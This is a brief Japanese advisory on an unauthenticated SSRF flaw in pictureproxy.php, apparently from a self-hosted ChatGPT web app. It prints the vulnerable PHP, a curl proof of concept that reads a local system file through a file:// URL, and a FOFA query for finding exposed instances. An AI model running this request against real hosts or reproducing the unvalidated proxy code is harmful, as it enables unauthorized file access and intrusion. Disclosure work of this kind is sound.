pictureproxy.php の脆弱性により、リモートの攻撃者が url パラメータに URL を注入して任意のリクエストを実行できます。この SSRF 脆弱性は認証なしで悪用できるため、特に危険です。
脆弱なコードは pictureproxy.php ファイルにあります。この問題は、関数が url パラメータを適切に検証しないために発生します。$_GET['url'] 変数が file_get_contents() 関数に渡され、指定された URL からコンテンツを取得します。これにより SSRF が発生する可能性があります。
<?php
if (isset($_GET['url'])) {
$image = file_get_contents($_GET['url']);
header("Content-type: image/jpeg");
echo $image;
} else {
echo "Invalid request";
}
cURL リクエスト:
curl -i -s -k http://127.0.0.1/pictureproxy.php?url=file:///etc/password
FOFA= "title="ChatGPT个人专用版""
入力検証の適切な管理が必要です。